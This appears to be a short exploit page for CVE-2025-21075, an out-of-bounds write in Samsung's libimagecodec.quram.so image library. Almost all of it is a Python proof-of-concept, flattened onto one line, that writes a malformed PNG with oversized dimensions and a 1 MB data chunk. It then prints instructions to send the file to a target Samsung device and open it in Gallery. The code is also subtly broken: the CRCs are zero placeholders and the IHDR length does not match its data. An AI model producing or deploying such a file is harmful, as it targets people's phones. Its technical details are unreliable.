CVE-2025-21075 Samsung libimagecodec.quram.so越界写入漏洞

import struct import os def create_malicious_image(): """ PoC for CVE-2025-21075: Out-of-bounds write in libimagecodec.quram.so This script generates a malicious image file that triggers the vulnerability. """ # Craft a malicious image header with oversized dimensions # This is a conceptual PoC - actual exploitation requires specific firmware analysis header = b'\x89PNG\r\n\x1a\n' # PNG signature # IHDR chunk with manipulated width/height values ihdr_data = struct.pack('>II', 0x7FFFFFFF, 0x7FFFFFFF) # Oversized dimensions ihdr_data += struct.pack('>BBBB', 8, 6, 0, 0) # bit depth, color type, compression, filter ihdr_crc = 0 # Placeholder CRC ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # IDAT chunk with oversized data to trigger buffer overflow oversized_data = b'\x00' * 0x100000 # 1MB of data to overflow buffer idat_crc = 0 # Placeholder CRC idat_chunk = struct.pack('>I', len(oversized_data)) + b'IDAT' + oversized_data + struct.pack('>I', idat_crc) # IEND chunk iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', 0xAE426082) malicious_image = header + ihdr_chunk + idat_chunk + iend_chunk with open('CVE-2025-21075_poc.png', 'wb') as f: f.write(malicious_image) print('[+] Malicious image created: CVE-2025-21075_poc.png') print('[+] Send this file to target Samsung device') print('[+] Trigger: Open the image in Gallery/Camera app') if __name__ == '__main__': create_malicious_image()